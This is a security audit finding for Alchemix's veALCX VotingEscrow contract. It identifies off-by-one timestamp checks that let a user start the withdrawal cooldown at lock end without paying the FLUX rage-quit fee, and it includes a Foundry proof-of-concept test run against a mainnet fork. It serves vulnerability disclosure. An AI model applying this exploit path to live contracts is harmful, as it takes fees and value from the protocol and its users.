function claimableFlux(uint256 _tokenId) public view returns (uint256) {
// If the lock is expired, no flux is claimable at the current epoch
if (block.timestamp > locked[_tokenId].end) { //@audit
return 0;
}
// Amount of flux claimable is <fluxPerVeALCX> percent of the balance
return (_balanceOfTokenAt(_tokenId, block.timestamp) * fluxPerVeALCX) / BPS;
}
In claimableFlux function, block.timestamp > locked[_tokenId].end is used to check if lock is expired. According to this condition, lock is not expired till block.timestamp == locked[_tokenId].end.
But in other places of the code, same check is not there. As shown below. https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L1156
While calculating point and bias, its first checking if lock has not expired _locked.end > _time and _locked.amount > 0, then calculate Point. According to above check from claimableFlux function, it should be _locked.end >= _time.
function updateUnlockTime(uint256 _tokenId, uint256 _lockDuration, bool _maxLockEnabled) external nonreentrant {
// ..SNIP..
// If max lock is not enabled, require that the lock is not expired
if (!_locked.maxLockEnabled) require(_locked.end > block.timestamp, "Lock expired"); //@audit
// ..SNIP..
}
It should be if (!_locked.maxLockEnabled) require(_locked.end >= block.timestamp, "Lock expired");
function withdraw(uint256 _tokenId) public nonreentrant {
// ..SNIP..
require(block.timestamp >= _locked.cooldown, "Cooldown period in progress");
// ..SNIP..
}
For cooldown period check, it should not allow to withdraw when block.timestamp == _locked.cooldown, as cooldown has not expired yet when its equal. It should be require(block.timestamp > _locked.cooldown, "Cooldown period in progress");
function startCooldown(uint256 _tokenId) external {
// ..SNIP..
// If lock is not expired, cooldown can only be started by burning FLUX
if (block.timestamp < _locked.end) {
// ..SNIP..
}
emit CooldownStarted(msg.sender, _tokenId, _locked.cooldown);
}
It should be if (block.timestamp <= _locked.end) {.
Due to the above incorrect checks, user's could start cooldown period for their withdrawal without paying any FLUX tokens.
Impact
User's could start cooldown period for their withdrawal without paying any FLUX tokens. User will have both FLUX tokens and their BPT tokens at the end of EPOCH. Its not align with what the project requirement is, i.e, to charge rage quit fee in terms of FLUX tokens for withdrawing before lock ends.
This free FLUX tokens later can be use to boost their votes.
Paste following foundry code in src/test/VotingEscrow.t.sol
Run using FOUNDRY_PROFILE=default forge test --fork-url $FORK_URL --fork-block-number 17133822 --match-contract VotingEscrowTest --match-test testCooldownWithoutPayingFlux -vv
// Start cool down period without paying any flux tokens
function testCooldownWithoutPayingFlux() public {
hevm.startPrank(admin);
uint256 tokenId = veALCX.createLock(TOKEN_1, FIVE_WEEKS, false);
uint256 bptBalanceBefore = IERC20(bpt).balanceOf(admin);
uint256 fluxBalanceBefore = IERC20(flux).balanceOf(admin);
uint256 alcxBalanceBefore = IERC20(alcx).balanceOf(admin);
console.log("\nBefore:");
console.log("bpt balance:", bptBalanceBefore);
console.log("flux balance:", fluxBalanceBefore);
console.log("alcx balance:", alcxBalanceBefore);
hevm.expectRevert(abi.encodePacked("Cooldown period has not started"));
veALCX.withdraw(tokenId);
voter.reset(tokenId);
hevm.warp(newEpoch());
voter.distribute();
uint256 unclaimedAlcx = distributor.claimable(tokenId);
uint256 unclaimedFlux = flux.getUnclaimedFlux(tokenId);
console.log("unclaimedAlcx:", unclaimedAlcx);
console.log("unclaimedFlux", unclaimedFlux);
hevm.warp(veALCX.lockEnd(tokenId));
console.log("\nLock state:");
console.log("veALCX.lockEnd(tokenId):", veALCX.lockEnd(tokenId));
console.log("block.timestamp:", block.timestamp);
console.log("Lock Expired (veALCX.lockEnd(tokenId) < block.timestamp) ?: ", veALCX.lockEnd(tokenId) < block.timestamp);
// Start cooldown once lock is expired
veALCX.startCooldown(tokenId);
hevm.expectRevert(abi.encodePacked("Cooldown period in progress"));
veALCX.withdraw(tokenId);
hevm.warp(newEpoch());
veALCX.withdraw(tokenId);
uint256 bptBalanceAfter = IERC20(bpt).balanceOf(admin);
uint256 fluxBalanceAfter = IERC20(flux).balanceOf(admin);
uint256 alcxBalanceAfter = IERC20(alcx).balanceOf(admin);
console.log("\nAfter:");
console.log("bpt balance:", bptBalanceAfter);
console.log("flux balance:", fluxBalanceAfter);
console.log("alcx balance:", alcxBalanceAfter);
console.log("bpt diff:", bptBalanceAfter - bptBalanceBefore);
// Bpt balance after should increase by the withdraw amount
assertEq(bptBalanceAfter - bptBalanceBefore, TOKEN_1);
// ALCX and flux balance should increase
assertEq(alcxBalanceAfter, alcxBalanceBefore + unclaimedAlcx, "didn't claim alcx");
assertEq(fluxBalanceAfter, fluxBalanceBefore + unclaimedFlux, "didn't claim flux");
// Check that the token is burnt
assertEq(veALCX.balanceOfToken(tokenId), 0);
assertEq(veALCX.ownerOf(tokenId), address(0));
hevm.stopPrank();
}
